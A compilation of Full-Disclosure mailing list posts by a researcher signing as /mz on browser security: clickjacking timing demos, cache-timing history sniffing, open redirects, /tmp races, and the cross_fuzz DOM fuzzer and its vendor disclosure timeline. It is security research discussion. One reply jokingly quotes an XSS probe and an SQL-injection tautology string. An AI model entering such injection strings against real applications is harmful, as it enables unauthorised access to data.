> Do you think that the Firefox "warning: unresponsive script" is meant > as a security feature or a usability feature? More seriously, though, it's a bit of an oddly-phrased question. Only the author of the code knows the true intent; you can look up the mention of this text in the code, and see what the text accompanying that change was, or contact whoever made it. What I can tell you is that there is no concerted effort by any of the browser vendors to make DoS attacks on the browser difficult; and that this particular prompt is trivially bypassable, too. Moreover, some of the previously introduced CPU and memory restrictions on the JavaScript engine have been removed in the past few years, and many of the new APIs (such as history.pushState, window.postMessage, or Worker) are specified and implemented with no particular DoS mitigations. And no, it's very unlikely for this prompt to reliably prevent any practical attempts to exploit non-DoS vulnerabilities in the browser. /mz PS. The usual plug: If you are curious, I have a whole chapter on this and other perhaps more interesting issues related to malicious scripts in "The Tangled Web". ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT: Firefox question / poll
> https://media.blackhat.com/bh-us-10/presentations/Waisman/BlackHat-USA-2010-Waisman-APT-slides.pdf >From while (1); to APT in 10 posts. Good job :-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] post-XSS landscape
With the growing enthusiasm about CSP and other script containment frameworks, I tried to put down some rough notes about the fundamental exploitation vectors that would be available in absence of the ability to execute scripts - and tried to see how these attacks correspond to what XSS attacks are trying to achieve today. So... this may be of some interest to the list: http://lcamtuf.coredump.cx/postxss/ [ More background: http://lcamtuf.blogspot.com/2011/12/notes-about-post-xss-world.html ] /mz PS. Cue snarky remarks from Tavis ;-) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] silly PoCs continue: X-Frame-Options give you less than expected
> Sure thing. Complaining about patches that don't do anything is > a plus to your reputation, I guess, right? Finding tangible solutions > to your problems means that eventually you'll loose the job. Cool story, bro. >> Why? > It's harder to predict how much it would take for a page to load, > as well as your caching concept will fail when the target in question > can only be invoked by the user. Also, there's the situation where > a simple click won't get you anywhere, for instance, in cases where > a user has to enter his credentials as well as to confirm the action. You seem to be serious in this part of your mail, but I still don't follow. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] silly PoCs continue: X-Frame-Options give you less than expected
> Interesting stuff indeed. However, I don't see you talk about a solution. > Why is that? Because it's bugtraq / full-disclosure, where people generally talk about vulnerabilities... I'm not sure I follow your drift about Firefox, I don't believe it's mentioned anywhere. > Anyhow, correct me if I'm wrong, but this concept won't work when the > attacked site requires multiple user interaction, right? As in, the user > will notice something amiss the second time. Why? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] silly PoCs continue: X-Frame-Options give you less than expected
At the risk of annoying everyone... I think we greatly underappreciate the extent to which JavaScript allows you to exploit the limits of human perception. On modern high-performance systems, windows can be opened, positioned, and closed; and documents loaded and then navigated away from; so quickly that we can't even reliably notice that, let alone react consciously. The PoC I posted here earlier this week (http://lcamtuf.coredump.cx/switch/) demonstrates one example of page transitions occurring so fast that you don't register it; and some of my earlier posts outlined the exploitation of page switching to exploit browser UIs (e.g. http://lcamtuf.coredump.cx/ffgeo2/). Today, I wanted to share this brief demonstration of an attack that should hopefully illustrate why our current way of thinking about clickjacking (and the possible defenses, such as X-Frame-Options) is flawed: http://lcamtuf.coredump.cx/clickit/ The basic idea here is that instead of placing the UI you want to tamper with in an invisible or only partly-visible , you can achieve a similar effect simply by predicting the time of a premeditated click (which is fairly easy if you look at mouse velocity and distance to the expected destination), and then either destroying the current window, or navigating to a different document (in this case, a cheesy banking site). While everything about this exploit is extremely goofy, and I put no effort into making the transitions less obvious, it should still demonstrate the issue neatly. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
> They may be in the minority, but there *are* users out there who know how to > look at the address bar. The security researcher knows this because he is > one of them. I call this group the "competent and contentious users". Sure. And that group is sort of safe when faced with open redirectors, mouseover tooltips, etc - well, modulo funny corner cases like this: http://lcamtuf.coredump.cx/switch/ ...or: http://lcamtuf.coredump.cx/switch/index2.html I have seen the "most users don't understand X anyway" as an argument against fixing X in the browser several times before, and I think that's wrong; but I'm not sure this is applicable here. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
> Granted, but I know that vulnerability research can take a huge chunk > of time out of a person's life, and without getting in to "monetary > philosophy", > I feel that in our current system, a person should be compensated for their > time if they've done something useful for society. Is this an existential discussion now?:-) As the world is structured today, you are not automatically entitled to compensation because you are doing something that, in your opinion, helps the world. That said, you can often find other people who share your sentiment, and are willing to support your cause. As it happens, Google has a vulnerability reward programs that rewards the effort of external security researchers with rewards typically ranging from $500 to $3133.7 per bug. There are contributors earning a decent living off of this program alone. You may view it cynically, but the reason for having it isn't to suppress non-compliant disclosure, but just to make the Internet a safer place - and to compensate people in function of the difficulty of finding a flaw, and the utility of that finding. The problem resulted in a *huge* spike of privately reported vulnerabilities that nobody would be even bothered to try to find before, and hasn't really affected the number of public disclosures much. If you don't like it, let us know how to improve it. You also always have the option of not researching vulnerabilities in these platforms; going with the full-disclosure approach; or selling the flaws to a willing third party. /mz PS. I'm speaking on my own behalf, and trying to be as open as possible, so let's not make it overly political. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
> I run with no script. So the links showed on the initial pages and when > clicked. Yes, well, congrats ;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
> For example: did you know that if you click on a link from coredump.cx > to microsoft.com and it opens in a new window, then a second or two > later, that coredump.cx in the background can change the URL of the > microsoft.com window, and point it to evil.com? Heck, coredump.cx can > even wait until you navigate further down the microsoft.com website - > and detect that event programmatically. That behavior is enshrined > within the current design of the same-origin policy, and browser > vendors seem hesitant to touch it. Here's a tiny PoC: http://lcamtuf.coredump.cx/switch/ /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
> As for minimal risk I personally don't agree. I have leveraged Unvalidated > URL Redirections in the past to attack clients of sites all the time. It's > highly trivial to point to a site with a metasploit browser bug patiently > waiting and amass quite a large number of sessions in a short period of time > should your spam campaign be efficient and actually draw users to the > vulnerable site. The problem is that the current contents of the address bar are about the only security indicator you have in the browser. It's unfortunate, and many users don't truly grasp this; and even if they do, they don't understand the intricacies of the URL syntax - but still, that's what we have to live with. The security community should try to fix this huge problem - but the progress on this and many other fundamental challenges in browser security is often hindered by the dynamics of vendor-researcher interactions. For time being, if you make security decisions based on onmouseover tooltips, link text, or anything along these lines, and do not examine the address bar of the site you are ultimately interacting with, there is very little any particular web application can do to save you: you are just at a significant risk wherever you go. If you take away open redirectors, a myriad of other, comparable ways to fool you remain, and can't be fixed easily. For example: did you know that if you click on a link from coredump.cx to microsoft.com and it opens in a new window, then a second or two later, that coredump.cx in the background can change the URL of the microsoft.com window, and point it to evil.com? Heck, coredump.cx can even wait until you navigate further down the microsoft.com website - and detect that event programmatically. That behavior is enshrined within the current design of the same-origin policy, and browser vendors seem hesitant to touch it. I posted a brief rant about it about two years ago: http://lcamtuf.blogspot.com/2010/04/address-bar-and-sea-of-darkness.html I've been in the community for a while, and I hope it goes without saying that I'm not here to be a mouthpiece for my current employer; I just genuinely think it's a complicated problem, and we need to pick our battles carefully. Redirectors are not particularly desirable, but the big picture is less obvious than it seems. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
> _Open_ URL redirectors are trivially prevented by any vaguely sentient > web developer as URL redirectors have NO legitimate use from outside > one's own site so should ALWAYS be implemented with Referer checking There are decent solutions to lock down some classes of open redirectors (and replace others with direct linking), but "Referer" checking isn't one of them. It has several subtle problems that render it largely useless in real-world apps. There are also some classes of redirection / content proxying problems that you can't quite eliminate until you give up on offering certain functionality to users (e.g. page translation, cached document views, embeddable gadgets) - and that's actually an interesting conceptual struggle. > Apparently Google's web developers are so stubbornly unable to absorb > this simple notion that it has become company policy that officially > Google does not care about open redirectors: > > > http://www.google.com/about/corporate/company/rewardprogram.html#url-redirection I actually wrote that bit, and as far as I remember, it's not a half-assed attempt to justify incompetence ;-) We have a vulnerability reward program, and it's just about not paying $500 for reports of that vulnerability - along with not paying for many other minimal-risk problems such as path disclosure. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] fast and somewhat reliable cache timing
> http://lcamtuf.coredump.cx/cachetime/ OK, just for the record: I improved the original PoC quite a bit, and added experimental variants for other browsers. I will shut up now. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] fast and somewhat reliable cache timing
Evening, This party trick is not particularly exciting, but hopefully highlights a vaguely interesting point: http://lcamtuf.coredump.cx/cachetime/ In essence, in the past few years, browser vendors have severely crippled CSS :visited selectors in order to prevent CSS-based history snooping that made the headlines not long ago (see, for example, http://wtikay.com). Although it's fairly obvious that other privacy side channels, such as cache timing, theoretically disclose comparable data, the attacks demonstrated so far offered, at best, vaguely probabilistic results (say, http://www.cs.princeton.edu/sip/pub/webtiming.pdf). On top of that, cache probing was considered destructive, which significantly limited its usability. Consequently, an argument was made that CSS :visited offered unique performance and reliability benefits and needed to be addressed separately, while no serious work takes place on the remaining vectors. My PoC exploits cache timing in Firefox in what appears to be a fairly fast and reliable way. It is a crude hack, so it will probably fail for some of you - but it's probably still interesting. The key point is that to probe for cached content without immediately polluting the cache, we abort navigation before the HTTP request is made. We also work around setTimeout / setInterval clamps by leveraging event delivery. PS. If this is even remotely interesting, you may also enjoy http://lcamtuf.coredump.cx/tangled/ Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FreeBSD ftpd and ProFTPd on FreeBSD remote r00t exploit
> If you want to respect the license of this code you cannot include the > exploit in your software. And don't get me started about my patent on NOP sleds! /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Microsoft Windows vulnerability in TCP/IP Could Allow Remote Code Execution (2588516)
> next time, i wont say shit, and, believe it. Well it's just that the attack you are describing will be thwarted by setting a sticky bit on /tmp, and you have not demonstrated otherwise. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
> I think someone fed bugtraq archives into scigen. I thought we're doing Twilight fanfic instead? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
> You can make it bypass Aslr ? No, you are absolutely correct, this vulnerability can't be used to bypass ASLR. Score one for address space randomization. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
> Actually, no; per user /tmp could only be accomplished, without a major > redesign and without breaking almost every application [citation needed] ;-) Only a fraction of apps uses /tmp... vendors can fix their own distros: grepping for "/tmp" isn't complicated, and almost every package usually ships with a handful of vendor-specific diffs anyway. You will break some third-party stuff people download from the Internet, but that's a self-correcting problem, and not exactly a horrible prospect: Linux distros break crappy software with almost every major release anyway, often due to far more fundamental changes (e.g. different /dev or /proc semantics, or moving libraries and includes around). The namespace / pseudo-fs approach is fairly ancient and works, but it's sort of ugly: it makes the filesystem behave counterintuitively in the rare case somebody actually has a legit use for /tmp. Not a big deal, but seems like an overcomplicated solution IMO. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
> In any case, the *right* answer isn't to play whack-a-mole fixing /tmp races, > what you should be doing is using pam_namespace or similar so each user gets > their own /tmp namespace. That would result in counterintuitive behavior, I suppose... /tmp is a fairly stupid and largely unnecessary artifact of the old. If you are in charge of a distro, it would not hurt to nuke it altogether and change all packages in your control to use per-user $TMPDIR. Some third-party stuff will break - but it breaks every now and then anyway. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Some hash values
> I believe that this is the best place to post the following hash values: > MD5Sum:a762a3b9cbfb3d63034646087680b254 > SHA1sum:6f25d72bd693b52de25c36d04f9e17f945420580 > SHA256sum:d5886dd14f3eac029d771da6bcc6d49bc2e50c79159e5390c9c0776c725243a5 No, for these specific hash values, I believe the appropriate place to post them would be deviantArt. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache Killer
> just for the record I have the impression that this not the same vulnerability > you outlined in your advisory a while back. It is more that the idea > for this vulnerability originated from your advisory, not the same bug. I don't think this even matters, and I really don't disagree... In 2007, I noticed that their Range handling is silly, and may prompt them to generate very large responses. I casually proposed a window scaling-based attack back then, and nothing happened. My understanding is that your exploit is based on the same principle (I don't think they fixed this in any way), but combines it with protocol-level compression to force the server to waste some memory and CPU resources to compress the response beforehand. But in any case, life goes on, it's just a DoS. Good that they're fixing it... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache Killer
> Good catch, but you didn't provide for a working exploit at the time. > > Now I only see your name on the press. Why? I don't know why this is in the news at all, let alone with any specific attribution. Perhaps you wanted to ask the journalists?;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache Killer
> http://www.gossamer-threads.com/lists/apache/dev/401638 FWIW, I pointed out the DoS-iness of their Range handling a while ago: http://seclists.org/bugtraq/2007/Jan/83 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] URL Spoofing vulnerability in different browsers
> Just ignore Mustlive. The rest of the list does. Well, sadly, it leads to things like this: http://www.securityfocus.com/bid/40487 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Ubuntu: reseed(8), random.org, and HTTP request
> Ubuntu's reseed(8) can be used to seed the PRNG state of a host. The > script is run when the package installed, and anytime su executes the > script. > > reseed(8) performs a unsecured HTTP request to random.org for its > bits, despite random.org offering HTTPS services. This resulted in a couple of discussions elsewhere, but as weird the idea of retrieving a seed from the Internet is (over HTTPS or not), this particular use is probably (unintentionally) harmless. Writing to /dev/[u]random does not replace the existing entropy pool, and merely mixes some new data in. Therefore, the script does not reduce the quality of the kernel PRNG if you already have some entropy collected, even if the returned payload is completely bogus. The only effect it may have is improving entropy if you don't have any, or not doing anything useful (if connection fails, or predictable data is returned). I initially thought this is still bad news, because you don't want the kernel to think it has more entropy than in reality (thus not blocking /dev/random reads, etc) - but the write() performed by this code also does not affect the entropy estimate by the virtue of not doing RNDADDTOENTCNT or RNDADDENTROPY ioctls. So, it should be OK. The use of HTTPS is a red herring (and establishing HTTPS without any real entropy available is tricky anyway). A more significant concern is that the ownership or quality of random.org may change. But in this case, it simply renders this effort a nominally harmless no-op. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Ubuntu: reseed(8), random.org, and HTTP request
[ But for what it's worth, I am willing to bet that the script was added without analyzing these subtle considerations, and that makes it somewhat scary on its own accord. ] /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] (fractal-Self__) : A theoretical introduction to Universe, Conscious Machines and Programming Ur-cells !!!
> Paradox are way of life... Hence, the goal here is to question every > knowledge with reasoning and trying-not to build a static opinion on > anything. But have you tried contacting the vendor first? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Got an iPhone or 3G iPad? Apple is recording your moves
> Cool. I got an Iphone 3GS. Consider me ex-user. GG Apple. Let me guess, > co-operation deal with NSA and the U.S goverment paid them some billion > dollars for that. Totally. A vast conspiracy is the only possible explanation. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Announcement posts and the charter (was Re: INSECT Pro 2.5.1 released)
> It's whatever, un-moderated means exactly that. No-one can tell anyone else > what to release/write. Period. Of course you can. That's what the charter is for. Unmoderated means simply that the charter is usually not proactively enforced (but even that is hardly an absolute guarantee). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] INSECT Pro 2.5.1 released
> I would like to suggest that advertising for products and tools (free or > otherwise) be limited to just an initial announcement to tell people about > the tool. Meh. Most authors keep the volume of their announcements low, and only highlight genuinely interesting updates. I think it's beneficial to allow this. Maybe highlighting the importance of these two qualities is the way to go? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] SSL Capable NetCat and more
> This one is from command line, maybe the next will be in > the server mode or whatever. Man, I hope you never find out what Perl is written in... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] III World War. - Broadcast Request.
> I believe that the IIIWorld War conflict might start in 10 months or > more from now. It's hard to disagree. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
>> this is only true for remote attackers hitting network service auth. > Mhmm, and runas, su et al couldn't benefit from this? Not a whole lot. You can likely tell a successful login from a failed one within several miliseconds by watching /proc or so. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
> all apologies, that was not my intent in the least-- referencing the public > portion of the aurora stuff, which is part of the myth I thought you were > referencing. Sure. The moment the discussion strays toward these topics, I am obviously not at liberty to discuss them freely. In general, I simply think that framing the problems that the industry is facing in terms of dealing with a new, sophisticated adversary is kind of meaningless and destructive, even if the risk is fundamentally true. The idea that AV + IDS + a prepackaged PCI / SOX / BS7799 audit was a legitimate response to the threats faced 5-10 years ago is about as misguided as the notion that $2M botnet monitoring or an IV drip of 0-day vulns will do the trick this time around. (Even if you need offensive capabilities - and most parties don't - nurturing a free market of 0-days sold to the highest bidder for exorbitant fees does not seem like a particularly good long-term plan.) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
> You can't be high profile Google employees one minute and switch off as > personal entities the next, its pretty basic. Thank you for pointing this out to me. Your concern has been noted. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
> You and Ormandy have a lot to learn, still. Oh, hai. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
> If it did for Google, you're either mistaken, [...] Huh, what? Where did that come from? I would generally appreciate if we refrain from dragging it employers, business contacts, etc, into what amounts to an exchange of personal opinions. > However, calling it an all out myth is misleading, and saying it's because > contractors are pushing a myth is just wrong. My point is roughly this: http://lcamtuf.blogspot.com/2011/02/give-me-give-me-p-give-me-t.html /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
> Also, I would say that even though randomly prodding exec arguments > with As isn't so elite, the space of "the non-web" is much more deep > and much more complex than the space of "the web".. I think that sentiment made sense 8-10 years ago, but today, it's increasingly difficult to defend. I mean, we are at a point where casual users can do without any "real" applications, beyond just having a browser. And in terms of complexity, the browser itself is approaching the kernel, and is growing more rapidly. Yes, web app vulnerabilities are easier to discover. That's partly because of horrible design decisions back in the 1990s, and partly because we're dealing with greater diversity, more complex interactions, and a much younger codebase. Plus, we had much less time to develop systemic defenses. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
> I mean, if these are the security industry's geniuses, why, what would the
> writers of Stuxnet be?
...seriously?
> Disclosing how their epic story simply involved SQLi, well, what about the
> guys discovering 0days in native code?
Totally. I have long postulated that perl -e '{print "A"x1000}' is
considerably more l33t than alert(1) or ' OR '1' ==
'1.
I don't understand the point you are getting at. I think that the more
interesting aspect of this story are the egregious practices revealed
in that write-up (and elsewhere):
http://lcamtuf.blogspot.com/2011/02/world-of-hbgary.html
/mz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] www.google.com xss vulnerability Using mhtml
FYI, here's a provisional advisory from Microsoft acknowledging this issue: http://www.microsoft.com/technet/security/advisory/2501696.mspx /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] www.google.com xss vulnerability Using mhtml
> 1.www.google.com app don't filter the CRLF This is not strictly required; there are other scenarios where this vulnerability is exploitable. > 2.IE support mhtml protocol handler to render the mhtml file format, > and this is the why mhtml: is designed The real problem is that when mhtml: is used to fetch the container over an underlying protocol, it does not honor Content-Type and related headers (or even "nosniff"). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] www.google.com xss vulnerability Using mhtml
> I woudn't like to discourage ppl submitting vulns to vendors but this is the > response you'll most likely to get from those kind of vendors no matter what > you found in their system. I had more than a dozen similar experience like > yours. Now it's public + fixed and you gotta get nothing beside these > replies (: I think you'd be surprised. Our reward panel consists solely of people you would recognize from this list, BUGTRAQ, or vendor advisories; and we are very consistent, timely, and pretty generous in rewarding a large proportion of all incoming reports. Ask around :-) In this particular case, though, the underlying problem is clearly a browser-side flaw that is nearly impossible to fully address on web application side - and one that first surfaced in 2004, then wasn't fully fixed in 2007: http://openmya.hacker.jp/hasegawa/security/ms07-034.txt Even in cases like this, we sometimes reward the reporter when we are given advance notice, and there are clear ways we can protect our users. But in this instance, the report is already public, we are already aware it, and we are trying to deploy basic workarounds in a number of exposed spots; and as noted, realistically, there is a limited recourse any web app provider will have. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Announcing cross_fuzz, a potential 0-day in circulation, and more
Hi list, == SUMMARY == I am happy to announce the availability of cross_fuzz - an amazingly effective but notoriously annoying cross-document DOM binding fuzzer that helped identify about one hundred bugs in all browsers on the market - many of said bugs exploitable - and is still finding more. The fuzzer owes some of its efficiency to dynamically generating extremely long-winding sequences of DOM operations across multiple documents, inspecting returned objects, recursing into them, and creating circular node references that stress-test garbage collection algorithms. More info about the exact algorithm used is given here: http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html The design of the fuzzer makes it unexpectedly difficult to get clean, deterministic repros; to that effect, in the current versions of all the affected browsers, we are still seeing a collection of elusive problems when running the tool - and some not-so-elusive ones. I believe that at this point, a broader community involvement may be instrumental to tracking down and resolving these bugs. *** I also believe that at least one of the vulnerabilities discovered by cross_fuzz may be known to third parties - which makes getting this tool out a priority. *** == VENDOR RESPONSE / STATUS == * Internet Explorer: MSRC notified in July 2010. Fuzzer observed to trigger several exploitable crashes - e.g.: http://lcamtuf.coredump.cx/cross_fuzz/msie_crash.txt ...ad well as some security-relevant GDI corruption issues. *** Reproducible, exploitable faults still present in current versions of the browser. I have reasons to believe that one of these vulnerabilities is known to third parties: http://goo.gl/7tcWh *** Comment: Vendor has acknowledged receiving the report in July (case 10205jr), but has not contacted me again until my final ping in December. Following that contact attempt, they were able to quickly reproduce multiple exploitable crashes, and asked for the release of this tool to be postponed indefinitely. Since they have not provided an explanation as to why these issues could not be investigated earlier, I refused; more info here: http://lcamtuf.coredump.cx/cross_fuzz/fuzzer_timeline.txt * All WebKit browsers: WebKit project notified in July 2010. About two dozen crashes identified and addressed in bug 42959 and related efforts by several volunteers. Relevant patches generally released with attribution in security bulletins. Some extremely hard-to-debug memory corruption problems still occurring on trunk. * Firefox: Mozilla notified in July 2010. Around 10 crashes addressed in bug 581539, with attribution in security bulletins where appropriate. Fuzzing approach subsequently rolled into Jesse Ruderman's fuzzing infrastructure under bug 594645 in September; from that point on, about fifty additional bugs identified (generally with no specific attribution at patch time). Several tricky crashes still occurring on trunk. Note: Flash-related (npswf32.dll) bad read/write offset crashes are also common if the plugin is installed. * Opera: vendor notified in July 2010. Update provided in December stated that Opera 11 fixes all the frequent crashes, and that a proper security advisory will be released at a later date. Release notes state: "Fixed a high severity issue; details will be disclosed at a later date". Several hard-to-debug crashes reportedly still waiting to be resolved. Note that with Opera, the fuzzer needs to be restarted frequently due to OOM conditions. == DEMO / DOWNLOAD URL == Please see: http://lcamtuf.coredump.cx/cross_fuzz/ == MISC NOTES == Cross_fuzz can be easily extended to fuzz any DOM-enabled documents or browser plugins simply by providing new target documents. This may be an interesting area for future research. I believe that releasing the tool at this point is considerably more prudent than the approach taken with ref_fuzz in 2008-2010: http://lcamtuf.blogspot.com/2010/06/announcing-reffuzz-2yo-fuzzer.html For updates, you can actually follow me on Twitter (gasp): http://twitter.com/lcamtuf ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Default SSL Keys in Multiple Routers
> These manufacturers use the same key on each of their models? That seems > ridiculous to me... As a person who had a Siemens AP / router with a hardcoded, hidden "management" account on it, I find your surprise entertaining ;-) Craig, cool project. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OpenBSD Paradox
> sci.crypt would probably be the best place to ask. I imagine there's a > discussion already, but have not visited lately. Have you been to the Usenet recently?;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Allegations regarding OpenBSD IPSEC
> So for 10 years IPSEC has had a backdoor in it and not one person examining > the code has noticed it? Or even questioned it? That's a bit hard to > believe. Yeah, this totally never happens in the FOSS world. http://www.theregister.co.uk/2009/08/14/critical_linux_bug/ /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] minor browser UI nitpicking
> 1) Yup, pretty unconvincing. Though one could separate window shadows, I'm guessing you have your window manager configured to render window shadows. In this case, this is less plausible, yup, unless you do the inverted gradient trick. > 2) Where is "here"? :) I tried to dig something up, but couldn't. But we definitely had these around 2001-2003, culminating in browsers removing the ability to do location=no in window.open(). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] minor browser UI nitpicking
